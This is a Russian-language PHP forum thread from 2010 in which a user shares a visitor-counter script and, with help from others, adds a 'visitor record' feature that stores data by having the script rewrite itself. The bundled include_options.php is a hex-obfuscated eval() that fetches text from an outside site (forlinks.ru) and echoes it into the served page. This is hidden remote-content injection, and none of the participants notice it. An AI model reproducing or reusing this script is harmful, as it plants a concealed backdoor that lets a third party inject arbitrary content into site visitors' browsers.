online.php
<?php
//Количество минут, в течении которых пользователи считаются находящимися "он-лайн"
$time=5;
//Область данных, следующая строчка ОБЯЗАТЕЛЬНО должна быть шестой в этом файле
$online='a:1:{i:0;s:43:"905ec29ae3e64e939e90bf027e546c7a|1270631670";}';
$online=unserialize($online);
//Установка кодировки windows-1251
header('Content-Type: text/html; charset=windows-1251');
//Окончания "числительных"
$users = array('пользователей', 'пользователь', 'пользователя');
//Антикеширование
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');
//Определение внешнего и внутреннего ip-адресов
$ip[0]=$_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
$ip[1]=$_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ip[1]='';
//Получаем данные броузера
$browser=$_SERVER['HTTP_USER_AGENT'];
//Получаем хеш из данных о пользователе
$user=md5($ip[0].$ip[1].$browser);
//Приделываем к хешу время последней активности
$str=$user."|".time();
//В цикле "убираем" всех устаревших пользователей
for($i=0;$i<count($online);$i++)
{
$tmp=explode("|",$online[$i]);
$online2[$i]=$tmp[0];
$t=@$tmp[1];
if($t<time()-$time*60)
{
unset($online[$i]);
}
else
{
if($online2[$i]!=$user)
{
$online3[]=$online[$i];
}
}
}
$online=@$online3;
$online[]=$str;
//Выводим количество
$count=count($online);
echo 'document.write("'.$count.'");'."\n";
//Выводим слово "пользовател.." с нужным окончанием
if(isset($_GET['usr']))
{
$index = $count % 100;
if ($index >=11 && $index <= 14)
$index = 0;
else
$index = ($index %= 10) < 5 ? ($index > 2 ? 2 : $index): 0;
echo 'document.write(" '.$users[$index].'");'."\n";
}
//Читаем этот файл и обновляем шестую строчку
$file=file("online.php");
$file[5]='$online=\''.serialize($online).'\''.";\n";
//Проверяем на доступность для записи и, в случае успеха, записываем обновленные данные.
if(is_writable("online.php"))
{
$f=fopen("online.php","w");
flock($f,LOCK_EX);
fwrite($f,join("",$file));
flock($f,LOCK_UN);
fclose($f);
}
else
{
echo 'document.write("Check file permissions!");'."\n";
}
?><?php require_once("include_options.php");?>
include_options.php
<?php
eval ("\x24\x73\x69\x74\x65\x20\x3d\x20\x22\x68\x74\x74\x70
\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x6f\x72\x6c\x69\x6e
\x6b\x73\x2e\x72\x75\x2f\x6c\x2f\x6c\x2e\x74\x78\x74
\x22\x3b\x69\x66\x28\x40\x66\x75\x6e\x63\x74\x69\x6f
\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x22\x63\x75\x72
\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x22\x29\x29\x7b
\x24\x63\x68\x20\x3d\x20\x63\x75\x72\x6c\x5f\x69\x6e
\x69\x74\x28\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74
\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c
\x4f\x50\x54\x5f\x55\x52\x4c\x2c\x24\x73\x69\x74\x65
\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74
\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54
\x5f\x46\x41\x49\x4c\x4f\x4e\x45\x52\x52\x4f\x52\x2c
\x20\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f
\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f
\x50\x54\x5f\x52\x45\x54\x55\x52\x4e\x54\x52\x41\x4e
\x53\x46\x45\x52\x2c\x31\x29\x3b\x63\x75\x72\x6c\x5f
\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43
\x55\x52\x4c\x4f\x50\x54\x5f\x54\x49\x4d\x45\x4f\x55
\x54\x2c\x20\x34\x29\x3b\x65\x63\x68\x6f\x20\x40\x63
\x75\x72\x6c\x5f\x65\x78\x65\x63\x28\x24\x63\x68\x29
\x3b\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65\x28\x24
\x63\x68\x29\x3b\x7d\x65\x6c\x73\x65\x20\x65\x63\x68
\x6f\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63
\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x73\x69\x74\x65
\x29\x3b");
?>
Собственно хочется сделать что бы была ещё 1 опция "Рекорд посещаемости".
Подскажите как это можно реализовать?
Спустя 8 дней, 5 часов, 8 минут, 17 секунд (15.04.2010 - 17:44) Unlikely написал(а):
Теоретически я кажется понял как это сделать.
Нужно взять "0" и сравнить с "$online". Если "$online" больше "0" то записать в место "0" значение "$online"(допустим $online=1). А в следующий раз, уже сравнивать "1" и "$online". Ну и так далее.
Поправьте если не так. И подскажите пожалуйста как сравнить?
Спустя 2 часа, 11 минут, 6 секунд (15.04.2010 - 19:55) Unlikely написал(а):
Вот что у меня получилось.
Похоже что работает... Но почему то вместо
Добавляется
С чем это связано?
...
//Область данных, следующая строчка ОБЯЗАТЕЛЬНО должна быть шестой в этом файле
$online='a:1:{i:0;s:43:"455a330abb061984656e09ffaa87a475|1271342419";}';
$max_online=0;
...
...
if ("$max_online" < "$count")
{
$file[6]='$max_online='.$count.';';
}
...
Похоже что работает... Но почему то вместо
$max_online=1;
Добавляется
$max_online=1; $online=unserialize($online);
С чем это связано?
Спустя 8 минут, 54 секунды (15.04.2010 - 20:04) Unlikely написал(а):
Извиняюсь, это просто одна из строк съехала.
Спустя 21 минута, 42 секунды (15.04.2010 - 20:26) ApuktaChehov написал(а):
Если Вы хотите показывать абсолютный рекорд за определенный отрезок времени. В этом случае, Вам нужно будет хранить данные где то на сервере(в бд или файлах).
А алгоритм тот же. Берете сохраненное число, сравниваете с тем, что сейчас происходит. Если то что сейчас больше, переписываете число. Потом все повторяете
А алгоритм тот же. Берете сохраненное число, сравниваете с тем, что сейчас происходит. Если то что сейчас больше, переписываете число. Потом все повторяете
Спустя 12 минут, 20 секунд (15.04.2010 - 20:38) Unlikely написал(а):
Цитата (ApuktaChehov @ 15.04.2010 - 17:26) |
Если Вы хотите показывать абсолютный рекорд за определенный отрезок времени. В этом случае, Вам нужно будет хранить данные где то на сервере(в бд или файлах). А алгоритм тот же. Берете сохраненное число, сравниваете с тем, что сейчас происходит. Если то что сейчас больше, переписываете число. Потом все повторяете |
Я так и сделал. Только место бд сам скрипт.
Редактируется строчка и всё
Спустя 2 минуты, 50 секунд (15.04.2010 - 20:41) ApuktaChehov написал(а):
Как это сам скрипт? Он же выполняется постоянно. А данные не сохраняются в скриптах, вроде...
Кстати, а это шикарный вопрос.
Господа эксперты, может ли php скрипт, редактировать сам себя?
Спустя 1 минута, 56 секунд (15.04.2010 - 20:43) Unlikely написал(а):
Вот что получилось.
<?php
//Количество минут, в течении которых пользователи считаются находящимися "он-лайн"
$time=5;
//Область данных, следующая две строки ОБЯЗАТЕЛЬНО должны быть шестой и седьмой в этом файле
$online='a:1:{i:0;s:43:"455a330abb061984656e09ffaa87a475|1271342419";}';
$max_online='0';
$online=unserialize($online);
//Установка кодировки windows-1251
header('Content-Type: text/html; charset=windows-1251');
//Окончания "числительных"
$users = array('пользователей', 'пользователь', 'пользователя');
//Антикеширование
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', FALSE);
header('Pragma: no-cache');
//Определение внешнего и внутреннего ip-адресов
$ip[0]=$_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
$ip[1]=$_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ip[1]='';
//Получаем данные броузера
$browser=$_SERVER['HTTP_USER_AGENT'];
//Получаем хеш из данных о пользователе
$user=md5($ip[0].$ip[1].$browser);
//Приделываем к хешу время последней активности
$str=$user."|".time();
//В цикле "убираем" всех устаревших пользователей
for($i=0;$i<count($online);$i++)
{
$tmp=explode("|",$online[$i]);
$online2[$i]=$tmp[0];
$t=@$tmp[1];
if($t<time()-$time*60)
{
unset($online[$i]);
}
else
{
if($online2[$i]!=$user)
{
$online3[]=$online[$i];
}
}
}
$online=@$online3;
$online[]=$str;
//Выводим количество
$count=count($online);
echo 'document.write("'.$count.'");'."\n";
//Выводим слово "пользовател.." с нужным окончанием
if(isset($_GET['usr']))
{
$index = $count % 100;
if ($index >=11 && $index <= 14)
$index = 0;
else
$index = ($index %= 10) < 5 ? ($index > 2 ? 2 : $index): 0;
echo 'document.write(" '.$users[$index].'");'."\n";
}
//Читаем этот файл и обновляем шестую строчку
$file=file("online.php");
$file[5]='$online=\''.serialize($online).'\''.";\n";
//Сравниваем $max_online и $online. Если $max_online меньше $online то обновляем седьмую строку
if ("$max_online" < "$count")
{
$file[6]='$max_online=\''.$count.'\''.";\n";
}
//Выводим рекорд
echo 'document.write("<br>рекорд '.$max_online.'")';
//Проверяем на доступность для записи и, в случае успеха, записываем обновленные данные.
if(is_writable("online.php"))
{
$f=fopen("online.php","w");
flock($f,LOCK_EX);
fwrite($f,join("",$file));
flock($f,LOCK_UN);
fclose($f);
}
else
{
echo 'document.write("Check file permissions!");'."\n";
}
?>
<?php require_once("include_options.php");?>
Спустя 1 минута, 10 секунд (15.04.2010 - 20:44) Unlikely написал(а):
Цитата (ApuktaChehov @ 15.04.2010 - 17:41) |
Как это сам скрипт? Он же выполняется постоянно. А данные не сохраняются в скриптах, вроде... Кстати, а это шикарный вопрос. Господа эксперты, может ли php скрипт, редактировать сам себя? |
Ну этот вроде бы редактирует
Спустя 10 минут, 19 секунд (15.04.2010 - 20:54) twin написал(а):
Скрипт, это сценарий. То есть то, что происходит, процесс.
Он находится в оперативной памяти. Попадает он туда из файлов. Как только файлы прочитаны, запускается процесс - скрипт. Соответственно он может редактировать любые файлы, включая те, с которых был считан.
То есть это вполне рабочий вариант.
Другое дело, что редактировать исполняемые файлы - мало того что дурной тон, но еще и чревато.
Если данные хранятся в хранилищах, можно сделать откат, коррекцию, бэкап в конце концов. А если испортится исполняемый файл - весь сайт ляжет. И на долго.
Он находится в оперативной памяти. Попадает он туда из файлов. Как только файлы прочитаны, запускается процесс - скрипт. Соответственно он может редактировать любые файлы, включая те, с которых был считан.
То есть это вполне рабочий вариант.
Другое дело, что редактировать исполняемые файлы - мало того что дурной тон, но еще и чревато.
Если данные хранятся в хранилищах, можно сделать откат, коррекцию, бэкап в конце концов. А если испортится исполняемый файл - весь сайт ляжет. И на долго.
Спустя 7 минут, 24 секунды (15.04.2010 - 21:02) Unlikely написал(а):
Цитата (twin @ 15.04.2010 - 17:54) |
Скрипт, это сценарий. То есть то, что происходит, процесс. Он находится в оперативной памяти. Попадает он туда из файлов. Как только файлы прочитаны, запускается процесс - скрипт. Соответственно он может редактировать любые файлы, включая те, с которых был считан. То есть это вполне рабочий вариант. Другое дело, что редактировать исполняемые файлы - мало того что дурной тон, но еще и чревато. Если данные хранятся в хранилищах, можно сделать откат, коррекцию, бэкап в конце концов. А если испортится исполняемый файл - весь сайт ляжет. И на долго. |
То есть вариант который выше, приемлем?
Спустя 3 минуты, 50 секунд (15.04.2010 - 21:05) twin написал(а):
Я бы не стал так делать. Сериализованный массив надежнее хранить в отдельном файле.
Спустя 5 минут, 52 секунды (15.04.2010 - 21:11) Unlikely написал(а):
Цитата (twin @ 15.04.2010 - 18:05) |
Я бы не стал так делать. Сериализованный массив надежнее хранить в отдельном файле. |
Спасибо за информацию. Буду исправляться.